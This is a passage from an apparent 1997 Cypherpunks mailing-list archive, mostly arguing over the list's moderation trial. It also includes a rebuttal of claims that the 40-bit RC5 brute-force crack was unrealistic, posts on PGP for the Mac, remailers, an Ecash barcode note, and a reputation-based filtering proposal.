owner-coderpunks at toad.com in the case cited below, the only differentation between the destinations is that the censored message has a "Message-ID: " from toad.com, while the one intended for unedited has a "Message-ID: " not from toad.com. was either of these destinated from flames? --the main list with duplicated messages has contained any number of messages, including ones from the ASCII art series which should have gone to flames. so, why is the pass through message not being reliably re-headered at toad.com to mark "Sender: owner-cypherpunks-unedited at toad.com" --but if it is, why is unedited receiving a duplicate --obviously the duplicate should have gone to flames. BOTTOM LINE: your software is inadequate. my neighbors' kids write better filters than you have installed. +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id EAA05103 + for ; Fri, 7 Feb 1997 04:24:48 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +DAA20391; Fri, 7 Feb 1997 03:21:24 -0800 (PST) Received: from +hermes.ex.ac.uk (hermes.ex.ac.uk [194.83.11.25]) by toad.com +(8.7.5/8.7.3) with SMTP id DAA20386; Fri, 7 Feb 1997 03:21:20 -0800 +(PST) Received: from aba at p28-dove-gui.tch.virgin.net [194.168.60.88] +by hermes via ESMTP (LAA22615); Fri, 7 Feb 1997 11:21:06 GMT Received: +(from aba at localhost) by server.test.net (8.6.12/8.6.12) id LAA00460; +Fri, 7 Feb 1997 11:15:30 GMT Date: Fri, 7 Feb 1997 11:15:30 GMT +Message-Id: <199702071115.LAA00460 at server.test.net> +From: Adam Back +To: mark at infolawalert.com +Cc: cypherpunks at toad.com, mclow at owl.csusm.edu +In-reply-to: <199702052256.OAA06322 at toad.com> (message from Mark + Voorhees on Wed, 05 Feb 97 17:05:51 -0400) +Subject: Re: Deloitte-Touche? +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: 5456a9a45ccaf4617ae176a63b26efb4 +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id JAA26045; + Fri, 7 Feb 1997 09:00:01 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +HAA24892; Fri, 7 Feb 1997 07:12:54 -0800 (PST) Message-Id: + <199702071512.HAA24892 at toad.com> +Date: Fri, 7 Feb 1997 11:15:30 GMT +From: Adam Back +To: mark at infolawalert.com +Cc: cypherpunks at toad.com, mclow at owl.csusm.edu +Subject: Re: Deloitte-Touche? +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: 83079c59aea2b28dc5ded2dc73c5219a -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvtvF704kQrCC2kFAQEFAwP/RyyZswe9GznJt4TAEMPnhKcgA9pUsf+k mw+pDcjaJyUfKttoaVz0qRM2hIe33igoPtBDXWf5VD9r+Gz+gry6K+UK7rYCNNE9 MMdYHRV51hYuLKJAY4LNU6j5hoqf5q2Btt/m3F9SFQtD0ellsi4QH/vseJC1YNYh tq3TA+hny/U= =v3sl -----END PGP SIGNATURE----- From trei at ziplink.net Fri Feb 7 11:41:21 1997 From: trei at ziplink.net (Peter Trei) Date: Fri, 7 Feb 1997 11:41:21 -0800 (PST) Subject: 40-bit RC5 crack meaningless? Message-ID: <199702071941.LAA29283@toad.com> Subject: Re: 40-bit RC5 crack meaningless?? From: Peter Trei > Subject: 40-bit RC5 crack meaningless?? Mr. Strassman allegedly sent the quoted letter to Winn Schwartaus' "infowar" mailing list, and it was then posted by persons unknown to the sci.crypt usenet group. Identity on the internet being the fluid thing it is, I apologize in advance if he never sent this letter, or if it has been modified before it reached me. The quoted letter attempts to minimize the importance of Ian Goldberg's recent bruteforce decryption of export-strength RC5 encryption. In my opinon, as described below, Mr. Strassman's arguments are without merit when applied to the situation the RSA challenges are intended to model - the security of encrypted Internet protocols. As such, I feel that his letter may lull some people into an unjustified and dangerous sense of security. > >Date: Thu, 30 Jan 1997 20:10:36 -0500 > >From: "Paul A. Strassmann" > >Subject: Further to Goldberg's Cracking Accomplishments > >Gentlemen: > > > >As I suspected (see earlier private comment), the > >highly promoted RSA cracking contest offered > >a number of clues that ordinarly would not be > >volunteered by info-terrorists or info-criminals to > >IW Defense teams. > >These clues made the cracking significantly easier, > >because it made it possible to eliminate an enormous > >range of possible searches. What's the target, and who is doing the encrypting? These "clues" _are_ available to adversaries engaged in industrial and economic espionage; a important part of a covert infowar. It's certainly true that "info-terrorists or info-criminals" will not be so easy to tap, but the absence of these 'clues' is a red herring. They will be secure because they will use good encryption, which is not what US firms can export today. The challenges are realistic models of encrypted Internet protocols, for example IPSEC with ESP data encryption. As such, they accurately display the vulnerability of data on the Internet to espionage. > >The following was extracted verbatim from the > > > >posted on : > > > >Clue #1: > > > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > >will use 12-round RC5 with a 32-bit word size. " > > > >Clue #2: > > > > " ...The first RC5 contest will consist of some unknown plaintext > >encrypted using a 40-bit key;." Clues #1 and #2 are absolutely reasonable - in an open standard, it is absolutely normal to know the cipher being used, it's mode, and the length of the key. See the SSL specification, or IPSEC's RFCs. > >Clue #3: (a giveway!) > > > > " ... For each contest, the unknown plaintext message is preceded by three > > known blocks of text that contain the 24-character phrase "The > > unknown message is: .....". To those who are unfamiliar with Internet protocols, this would appear to give the cryptanalyst an unrealistic head-start. This is not the case. Most Internet protocols have highly stereotyped packet headers; for example, _every_ normal return packet from a web server starts out with the string "HTTP/1.0" (servers using something other than version 1.0 are rare as hen's teeth at the moment). When you consider that such a packet may contain a firm's confidential earnings predictions or trade secrets (hopefully encrypted), the economic importance of such data is clear. Similar stereotyped headers exist for many other protocols, such as NNTP and SMTP. As such, a known-plaintext attack, as modeled by RSADSI's symmetric key challange, is quite realistic. Even if a full known plaintext for the first block is unavailable, a knowlegable cryptanalyst can usually make some very reasonable assumptions which will greatly speed his or her task. (I'm assuming DES here - which has a 64 bit block, but the argument extends easily to other block sizes). For example, if we know that the data contains only printable ASCII characters (true for the headers of most Internet protocols), then for a 64 bit block, there are 8 bits which we _know_ will be zero in the decrypted block. This lets us dispose of 255 out of every 256 incorrect trial decryptions immediately, and we will have to perform more extensive tests on less then 0.4% of candidate keys. Similar intelligent guesses can be made about the headers of other protocols, for example IPSEC-secured IPv6 packet headers in tunneling mode. Some people have noted that the challenges include the IV, or 'initialization vector' used in CBC (cipher-block-chaining) modes of encryption, and argue that this would not be available to an adversary. Once again, this assertion falls when examined in the light of actual usage. The purpose of an IV is to make dictionary and replay attacks more difficult. It is not intended to prevent brute force attacks, and so is _normally_ included in the clear in communications protocols (for example, see RFC 1827 for it's clear transmission in IPSEC). If it is not included, it is effectively part of the keying material, and thus adds it's bits to the strength of the key. As such, its value would have to be transmitted and protected as carefully as the rest of the key. > >In summary: The claim of exportable cryptography being totally > >insecure, because it can be cracked in 3.5 hours is not > >realistic. The three clues announced in the contest > >would not apply under infowar conditions. As I have shown above, Mr. Strassman's optimism is misplaced in the case of actual, fielded use of encryption on the Internet. It may apply to some classified systems, but they don't use exportable cryptography anyway. A covert inforwar against commercial and private targets is _quite_ plausible. > >What other clues may have been provided to Goldberg > >to support private agendas and gain shrill headlines > >is also a matter of speculation, but I rest my case. What exactly is he hinting at here? > >I certainly cannot assert that a 40 bit key cannot be decyphered. Of course he can't. 40 bits of RC4 encryption (as used in the exportable version of Netscape) was brute-forced not once, but three separate times in the fall of 1995, the fastest effort taking about 28 hours. Today it could be done much more quickly, as Ian demonstrated with RC5 (an algorithm of similar complexity). > >However, I do not think that the RSA unqualified claims > >offer full and appropriate disclosure. I disagree. The RSA challenges accurately model the use of encryption on the unclassified Internet. Ian's decryption of 40-bit RC5 is of considerable importance in demonstrating the insecurity of American citizens caused by Administration efforts to compromise exportable encryption. In my opinon, Mr. Strassman's assertions as to the strength of exportable encryption are too dangerous to be left unchallenged. > >Paul A. Strassmann > >55 Talmadge Hill Road, New Canaan, CT. 06840 > >Telephone: 203-966-5505; Fax: 203-966-5506 > >INTERNET: paul at strassmann.com > >WorldwideWeb: http://www.strassmann.com Peter Trei ptrei at acm.org Disclaimer: I am speaking as a knowlegable private citizen, not as a representative of my employer. This posting represents my opinon only. From tnh at ACM.ORG Fri Feb 7 11:42:59 1997 From: tnh at ACM.ORG (Timothy N. Hill) Date: Fri, 7 Feb 1997 11:42:59 -0800 (PST) Subject: Waiting for Mac version [was Re: Full strength Email Clients] Message-ID: <199702071942.LAA29294@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 02:19 -0500 97-02-07, Steve Schear wrote: >>... PGPMail 4.5 ... > >Its too bad there isn't a Mac version contemplated. They appear to think >that existing PGP versions, paired with Eudora, are sufficient. I think a >better integrated approach for the Mac would be appreciated as the >available AppleScripts are buggy and awkward. I agree completely about the need. PGP, Inc., does claim to be working on a Mac version, but their promises are beginning to sound a little hollow. They now promise a "1997 release of PGPmail for the Macintosh" and "more specific information on when PGPmail will be available on the Macintosh" "during the second half of February." I bought ViaCrypt PGP for Macintosh 2.7.1 in October. (2.7.1 is nearly identical to the free 2.6.2, with the same abysmal user interface that earned a rare one-star rating from Macworld , but 2.7.1 is licensed for commercial use.) At the time, PGP Inc. promised a free upgrade to version 4.0 for Mac, which was already considerably overdue. (According to , 4.0 is still "To Be Released Soon.") When PGP, Inc., announced PGPmail 4.5 in December , they wrote "PGPmail 4.5 ... supports ... Mac OS." I called and asked if this implied they were bypassing 4.0 for Mac and when 4.5 would be available for Mac. The support person didn't know, said she'd find out and call me back, and never called back. A few days ago, I received this via US mail: >PRETTY GOOD PRIVACY, INC. > >Wednesday, January 22, 1997 > >Dear Valued Customer: > >Thank you for being patient regarding your order for an updated version >of PGP for the Macintosh. The last year has involved many changes for >our company. As a customer, we know the changes have caused delays in >the product you expected sooner. I would like to explain recent events >and extend a special offer in appreciation of your business. > >First, an explanation of recent events. As you may already know, Pretty >Good Privacy, Inc. purchased Lemcom Systems and its wholly owned >subsidiary, ViaCrypt, last year. ViaCrypt had previously announced >ViaCrypt PGP 4.0 for the Macintosh. Pretty Good Privacy is fully >committed to the Macintosh platform, and we have plans to release a >rich set of products for the Macintosh in 1997. We have already doubled >the size of our Macintosh group with engineers who have extensive Apple >experience. > >We are currently working on a new version of PGPmail designed >specifically for the Macintosh, adding new features and revising the >graphical user interface, making it significantly easier to use. > >After much serious consideration, we decided to dedicate the Macintosh >PGPmail team to deliver this new product as quickly as possible, and to >cancel the port of ViaCrypt PGP 4.0 to the Macintosh. We apologize for >any inconvenience this delay may have caused, but we believe that you >will agree that the new version of PGPmail designed specifically for >the Macintosh will meet your needs better than a port from the Windows >platform. > >In recognition of the delay, we would like to offer you the forthcoming >1997 release of PGPmail for the Macintosh free of charge. We hope you >will take advantage of this special offer. When ordering, please >indicate the following code #0811 to process your order, so please >retain this letter. Please check the PGPmail section of our website at >http://www.pgp.com/products/PGPmail-faq.cgi during the second half of >February with more specific information on when PGPmail will be >available on the Macintosh. > >Please accept our sincere apologies for the delay. If you have any >questions, please contact us at fyi at pgp.com. > >Sincerely, > >Tom Steding >President & CEO >Pretty Good Privacy, Inc. We shall see. Meanwhile, a beta version of "Pretty Safe Mail" is available from Highware in Belgium. It's PGP compatible, and its user interface is a great leap forward from any Mac PGP front end I've seen. But, it still has some deficiencies, it's very slow (25 seconds to sign this message on a 25 MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently discussed on a couple of these lists) its source code hasn't been published or externally audited. - Tim -----BEGIN PGP SIGNATURE----- Version: 2.7.1 iQCVAwUBMvtiAi62DQeAyFc9AQG5tAQAigsa5/Ygb9PqHHLA/QD+HSpBWFRpRjGW bWfg8Zq0PCi5AyMPAwYagxYo5/m4Sm3OA6u2urq5IDzxVaYOGFIgKGRxaFgWivFN dYfwFRR9WO7NkoigKsOc3ZHAK2UPPWYsFkjbVkbINyke5NmFkwEI0/oPguoMWdXH WMpnOGDut5Q= =kWrX -----END PGP SIGNATURE----- Timothy N. Hill "We all love to instruct, Wellesley, Massachusetts though we can teach only what is not worth knowing." PGP F058F75D 99C5122F 21C5BEF5 620C1D3C - Elizabeth Bennet From andrew_loewenstern at il.us.swissbank.com Fri Feb 7 11:56:26 1997 From: andrew_loewenstern at il.us.swissbank.com (Andrew Loewenstern) Date: Fri, 7 Feb 1997 11:56:26 -0800 (PST) Subject: anonymous remailers Message-ID: <199702071956.LAA29451@toad.com> Charley Musselman writes: > Does anyone know the answer? Specifically, how can we choose > a trusted remailer? The answer is to run your own remailer. Make sure your chain includes your remailer at least once. If you can't trust yourself, who can you trust? andrew From jya at pipeline.com Fri Feb 7 11:56:45 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 11:56:45 -0800 (PST) Subject: Project 25 Radio Message-ID: <199702071956.LAA29470@toad.com> The National Communications Systems published in the Federal Register of February 6, a notice of FTR1024 covering Land Mobile Radio, Project 25. The recommentation specifies encryption: DES (Type 3) and Type 1 for classified use. The specifications are based on seven public TIA documents and one classified NSA document. "This recommendation is intended to facilitate interoperability among telecommunication facilities and systems of the Federal Government." The official document is available in PDF format at: http://members.aol.com/Project25/1024.pdf We've prepared a hypertext version: http://jya.com/ftr1024.htm From john at cognac.apana.org.au Fri Feb 7 11:56:45 1997 From: john at cognac.apana.org.au (John Pearson) Date: Fri, 7 Feb 1997 11:56:45 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <199702071956.LAA29471@toad.com> > On 1/18/97, I sent freedom of information act requests to the FBI (main and > San Francisco offices), CIA, NSA, and Secret Service, asking them for copies > of information in their files relating to or referring to the cypherpunks > list, the cypherpunks meetings, and copies of any messages sent from or to > "cypherpunks at toad.com". [...] > I'm not sure what I think about the response from the SF FBI branch - it > seems unlikely that they'd never have paid any attention to the list, given > the media coverage in Wired and other places. On the other hand, maybe the > FBI doesn't read Wired. :) While they're not supposed to be monitoring > noncriminal domestic activity, I figured they'd at least have something about > the Mykotronix stuff. > If you think so, you may wish to consider filing an FOIA request for the Mykotronix stuff, and see if it mentions cypherpunks; it could provide an interesting perspective on their response. John P. john at huiac.apana.org.au From mark at unicorn.com Fri Feb 7 11:56:52 1997 From: mark at unicorn.com (Mark Grant) Date: Fri, 7 Feb 1997 11:56:52 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" Message-ID: <199702071956.LAA29480@toad.com> On Mon, 3 Feb 1997, Adam Back wrote: > My vote is for renaming: > `cypherpunks-unedited' -> `cypherpunks' > and `cypherpunks' -> `cypherpunks-edited' I have to agree. I'm only a 'cypherpunk' in the sense of setting up various crypto-related Web sites and writing and giving away thousands of lines of cryptography code rather than regularly posting to the list, but my main concern is that the default for the list has gone from anarchy to moderation. If the users of the list truly believe in anarchistic solutions to problems then the moderated list should exist *in addition* to the unmoderated list, rather than replacing it. In a truly anarchistic society the cypherpunks list would be an unmoderated forum full of spam and opinions related in some way to the list topics and numerous moderators would charge us for their versions of the list in which they simply pass on the messages they like. We could then choose a moderator whose interests are similar to ours and pay them for providing us with apropriate information. IMHO this is the way that mailing lists and Usenet are likely to evolve as they become too large for us to read and react to all posts; we should be in the vanguard of creating appropriate solutions to the problems. Providing a moderated list which saves me from dowloading spam is a worthwhile exercise which is potentially valuable to me (and I'm grateful to Sandy for offering such a service for free), but I do not believe that it should be the default for new subscribers. Mark |-----------------------------------------------------------------------| |Mark Grant M.A., U.L.C. EMAIL: mark at unicorn.com | |WWW: http://www.unicorn.com/ MAILBOT: bot at unicorn.com | |-----------------------------------------------------------------------| From sandfort at crl.com Fri Feb 7 11:57:00 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Fri, 7 Feb 1997 11:57:00 -0800 (PST) Subject: Which list am I on? In-Reply-To: <199702071829.LAA19644@infowest.com> Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Fri, 7 Feb 1997, Attila T. Hun wrote: > no way to tell what list your receiving from; the software Sandy > and John installed to facilitate their un-American activities is > hosed. in most cases it fails to apply the correct sender name, > defaulting to the main, supposedly censored list. That's why we call it a test. I have no software. Everything I'm doing is manual. Whatever John has done is probably jerry rigged just for the test. If list members opt for moderation, more effort will be put into the moderation infrastructure. The idea right now is to see how well a first aproximation of moderation works. If it seems like a step in the right direction, great. If everyone thinks it sucks, well that's great too. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Gr8SClaus at aol.com Fri Feb 7 11:57:33 1997 From: Gr8SClaus at aol.com (Gr8SClaus at aol.com) Date: Fri, 7 Feb 1997 11:57:33 -0800 (PST) Subject: Hello, Duncan Message-ID: <970207004535_-1442662479@emout08.mail.aol.com> I saw your listing for accessing senior citizens newsgroups through compuserve. Do you think, by chance, that the same would be possible through america online? I'm a senior citizen of 59 but find myself liking middle age to older and find the only source on line (that i can locate as am anateur) is netpics.com and you have to pay for this service. But I do enjoy looking at older GUYS and find mostly girls--even on netpics. Thanks. Dave From Ed.Falk at Eng.Sun.COM Fri Feb 7 11:59:27 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Fri, 7 Feb 1997 11:59:27 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702071958.LAA18779@peregrine.eng.sun.com> Can't remailers be written with basic spam safeguards? I.e. no mass crossposts, limited # of posts by each individual client per day, etc.? From nobody at huge.cajones.com Fri Feb 7 12:00:32 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 12:00:32 -0800 (PST) Subject: No Subject Message-ID: <199702072000.MAA29592@toad.com> Date: Fri, 07 Feb 1997 07:13:18 -0800 From: Dale Thorn :When I was in the Perot camp Gotta be Dale! A measure of my health; I admit preferring the invective of Tim and Dr. V. to this purile nonsense. Pablum for the c'punk masses. Ciao From nobody at huge.cajones.com Fri Feb 7 12:00:33 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 12:00:33 -0800 (PST) Subject: [IMPORTANT] Zero-knowledge interactive proofs Message-ID: <199702072000.MAA29593@toad.com> Many forgeries are traceable with mathematical certainty to feebleminded Timmy C. May's poison keyboard. .oooO Oooo. ( ) _ _ ( ) \ ( / ) ( \ ) / ----\_)-/ (---) \-(_/---- ( ) ( ) oooO Oooo From ott0matic at hotmail.com Fri Feb 7 12:02:16 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Fri, 7 Feb 1997 12:02:16 -0800 (PST) Subject: Cool Names, Lost in Flames Message-ID: <199702072002.MAA29642@toad.com> Some time ago Human Gus-Peter wrote something that went like this: > I still think that you should just let your kids run your machine or > just pick the guy with the coolest name, like Attila the Hun or > Genocide or OttOmatic. Thanks, Human Gus-peter. I think my name is cool also. I am only suscribeed to the flames list, because my uncle (a secret guy) reads the CENSORED list. This way we can see what the other secret guys are up to, and what kind of KewL StUfF they throw into the Flames Trashcan. Human Gus-peter, I think you should be very careful. They throw everything you write into the trash. That could mean they are watching you. That could be VERY bad for you. We will see where this message goes. otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From sandfort at crl.crl.com Fri Feb 7 12:11:38 1997 From: sandfort at crl.crl.com (Sandy Sandfort) Date: Fri, 7 Feb 1997 12:11:38 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702072011.MAA29726@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Fri, 7 Feb 1997, Mike Duvos wrote: > ...Messages apparently do not get moderated in the order in > which they are received... All messages are filtered and posted in the order in which I receive them. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From Gr8SClaus at aol.com Fri Feb 7 12:11:38 1997 From: Gr8SClaus at aol.com (Gr8SClaus at aol.com) Date: Fri, 7 Feb 1997 12:11:38 -0800 (PST) Subject: Hello, Duncan Message-ID: <199702072011.MAA29725@toad.com> I saw your listing for accessing senior citizens newsgroups through compuserve. Do you think, by chance, that the same would be possible through america online? I'm a senior citizen of 59 but find myself liking middle age to older and find the only source on line (that i can locate as am anateur) is netpics.com and you have to pay for this service. But I do enjoy looking at older GUYS and find mostly girls--even on netpics. Thanks. Dave From sandfort at crl.crl.com Fri Feb 7 12:11:39 1997 From: sandfort at crl.crl.com (Sandy Sandfort) Date: Fri, 7 Feb 1997 12:11:39 -0800 (PST) Subject: Which list am I on? Message-ID: <199702072011.MAA29727@toad.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Fri, 7 Feb 1997, Attila T. Hun wrote: > no way to tell what list your receiving from; the software Sandy > and John installed to facilitate their un-American activities is > hosed. in most cases it fails to apply the correct sender name, > defaulting to the main, supposedly censored list. That's why we call it a test. I have no software. Everything I'm doing is manual. Whatever John has done is probably jerry rigged just for the test. If list members opt for moderation, more effort will be put into the moderation infrastructure. The idea right now is to see how well a first aproximation of moderation works. If it seems like a step in the right direction, great. If everyone thinks it sucks, well that's great too. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From marc at digicash.com Fri Feb 7 12:39:18 1997 From: marc at digicash.com (Marc Briceno) Date: Fri, 7 Feb 1997 12:39:18 -0800 (PST) Subject: World's first Ecash note Message-ID: <3.0.32.19970207123804.0076b3b8@mail.ccnet.com> At 09:26 PM 2/6/97 -0800, Jeremey Barrett wrote: >The world's first Ecash note has been printed! > >A USD 0.01 note made out to anyone can be found at: > > http://www.veriweb.com/people/jeremey/ecash/1_cent.html > >The data portion of the note is a PDF417 2-D barcode, containing a >standard ecash payment of 1 US cent. Congratulations to Jeremey for printing the world's first Ecash note! I hereby declare Jeremey the winner of the "encoding Ecash as 2D-bar code" contest. The money will be awarded this Saturday. Now, we need decoding software. :-) [There is a $100 reward (out of my own pocket) for the first freeware decoder. Source required. This is a "just for fun" contest. I know that $100 won't pay for the time spent on the project.] -- Marc Briceno Ecash(tm) Electronic Cash Evangelist/Developers Support From mpd at netcom.com Fri Feb 7 12:55:30 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 7 Feb 1997 12:55:30 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: Message-ID: <199702072055.MAA29680@netcom13.netcom.com> SANDY SANDFORT sez: > On Fri, 7 Feb 1997, Mike Duvos wrote: > > ...Messages apparently do not get moderated in the order in > > which they are received... > All messages are filtered and posted in the order in which I > receive them. That's all very nice, but I should point out that I have not yet seen my message to which you are responding on the filtered list. Others mileage may vary. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From Ed.Falk at Eng.Sun.COM Fri Feb 7 12:55:44 1997 From: Ed.Falk at Eng.Sun.COM (Ed Falk) Date: Fri, 7 Feb 1997 12:55:44 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702072055.MAA00602@toad.com> Can't remailers be written with basic spam safeguards? I.e. no mass crossposts, limited # of posts by each individual client per day, etc.? From mpd at netcom.com Fri Feb 7 12:58:24 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 7 Feb 1997 12:58:24 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702072055.MAA29680@netcom13.netcom.com> Message-ID: <199702072058.MAA29945@netcom13.netcom.com> In a previous message, I wrote: > That's all very nice, but I should point out that I have not yet > seen my message to which you are responding on the filtered list. It just trickled into my mailbox. I take that back. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From vznuri at netcom.com Fri Feb 7 12:59:49 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 7 Feb 1997 12:59:49 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702070655.WAA12884@toad.com> Message-ID: <199702072059.MAA15672@netcom23.netcom.com> > >(It is true that Vulis uses the phrase "Limey faggots," in reference to >beer-serving habits, but he does not directly insult any list members with >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will >be blocked from their usual characterizations of Congresscritters and NSA >stooges.) TCM defending Vulis, I think I've died and am in some strange dreamworld. hehehehe From ericm at lne.com Fri Feb 7 13:04:10 1997 From: ericm at lne.com (Eric Murray) Date: Fri, 7 Feb 1997 13:04:10 -0800 (PST) Subject: Metzger, Denninger square off In-Reply-To: <199702071941.LAA29268@toad.com> Message-ID: <199702072103.NAA09603@slack.lne.com> Damaged Justice writes: > > [Forwarded from Wired news. Let's cut to the chase: Which side is in the > right? Who can tell me, in plain and simple language, who is fighting for > individual freedom and property rights, and who is not?] > [LINK] Foes Vow to Take Domain Name Fight to FCC > by Gene Koprowski > > 5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc > Committee (IAHC) to expand the number of Internet top-level domain > names is stirring opposition among alternative domain name providers. [..] > Denninger said he received a leaked copy of the IACH proposal earlier > this week, and he and his colleagues are considering bringing their > protests to the FCC. "We're given open access under the telecom law," > says Denninger. "We might talk to the FCC or the Clinton > administration about this." Barring that, Denninger will lobby > Internet service providers around the country, asking them not to > recognize the new GTLDs. "There is no reason to support it. We will do > everything in our power to convince ISPs not to go along," he says. Karl's worried that the new GLTD system might mean that some sites will be unreachable, so he's going to lobby ISPs to not accept the new GLDTs to ensure that sites are unreachable? This reminds me of the Vietnam era "We had to destroy the village in order to save it." If I didn't already think that Karl was an idiot, I'd sure think so after reading this. -- Eric Murray ericm at lne.com ericm at motorcycle.com http://www.lne.com/ericm PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From marc at digicash.com Fri Feb 7 13:11:01 1997 From: marc at digicash.com (Marc Briceno) Date: Fri, 7 Feb 1997 13:11:01 -0800 (PST) Subject: World's first Ecash note Message-ID: <199702072111.NAA00898@toad.com> At 09:26 PM 2/6/97 -0800, Jeremey Barrett wrote: >The world's first Ecash note has been printed! > >A USD 0.01 note made out to anyone can be found at: > > http://www.veriweb.com/people/jeremey/ecash/1_cent.html > >The data portion of the note is a PDF417 2-D barcode, containing a >standard ecash payment of 1 US cent. Congratulations to Jeremey for printing the world's first Ecash note! I hereby declare Jeremey the winner of the "encoding Ecash as 2D-bar code" contest. The money will be awarded this Saturday. Now, we need decoding software. :-) [There is a $100 reward (out of my own pocket) for the first freeware decoder. Source required. This is a "just for fun" contest. I know that $100 won't pay for the time spent on the project.] -- Marc Briceno Ecash(tm) Electronic Cash Evangelist/Developers Support From vznuri at netcom.com Fri Feb 7 13:15:43 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Fri, 7 Feb 1997 13:15:43 -0800 (PST) Subject: automated moderation system Message-ID: <199702072115.NAA20550@netcom23.netcom.com> here's an idea for a simple "moderation" system with no one-moderator bottleneck/choke point. I'm trying to come up with a constructive solution with cyberspatial spirit. please send me email if you would be willing to try this system. flames ignored. if there is enough support I may be able to persuade a friend to write the code to do this. a new mailing list is set up, one that gets posts from a noisy mailing list. it filters the mail according to user preferences, and sends it out to its own subscribers. the filtering scheme is as follows: a web site is set up that allows people to express their own preferences as to who they wish to listen to in particular, and who they wish to killfile, based on email address. first, they hit the web site and have it send them a secret password to their email address. then they use that password to edit their "pass" and "zap" lists. (the password is for authentication) now, the mailing list works as follows. people always receive posts from people they put on their "pass" lists. mail from entities on their "zap" lists is always trashed. why are the lists kept on the server? the usefulness of this scheme is that now you have information about all entities, the number of votes to "pass" each entity, and the number of votes to "zap" each entity. now lets say that the system is considering sending me mail from someone that is neither on my pass or zap lists. I have no personal info on it, but the system could use the votes in some algorithmic way to decide whether to send it to me or not. various experiments could be tried to come up with a good scheme. my preference is at the moment something like this: every person indicates how much mail they wish to recieve from the list, and how much of a delay is acceptable. the system uses this information and the "pass/zap" ratio (or difference) to send out the "highest rated" messages in a given time window. during low list traffic, the messages that pass through would be ranked lower. or, the system could have a ranking threshold set by each individual user below which it will never pass the email. my feeling is to keep these lists public, although the scheme would allow a system that kept them private. of course I will be flamed for this. the system of course is essentially a reputation system, something everyone here talks about but nobody really seems to know what one is or how to set one up. anyway, I hope to hear from anyone with comments. if you might be able to support a cgi web site for the idea, please let me know. technically the system is pretty straightforward. my experience with these systems is that the great difficulty is getting people to try them, the "critical mass" problem. From mpd at netcom.com Fri Feb 7 13:19:13 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 7 Feb 1997 13:19:13 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702072119.NAA01071@toad.com> In a previous message, I wrote: > That's all very nice, but I should point out that I have not yet > seen my message to which you are responding on the filtered list. It just trickled into my mailbox. I take that back. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From mpd at netcom.com Fri Feb 7 13:20:59 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 7 Feb 1997 13:20:59 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702072120.NAA01090@toad.com> SANDY SANDFORT sez: > On Fri, 7 Feb 1997, Mike Duvos wrote: > > ...Messages apparently do not get moderated in the order in > > which they are received... > All messages are filtered and posted in the order in which I > receive them. That's all very nice, but I should point out that I have not yet seen my message to which you are responding on the filtered list. Others mileage may vary. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From ericm at lne.com 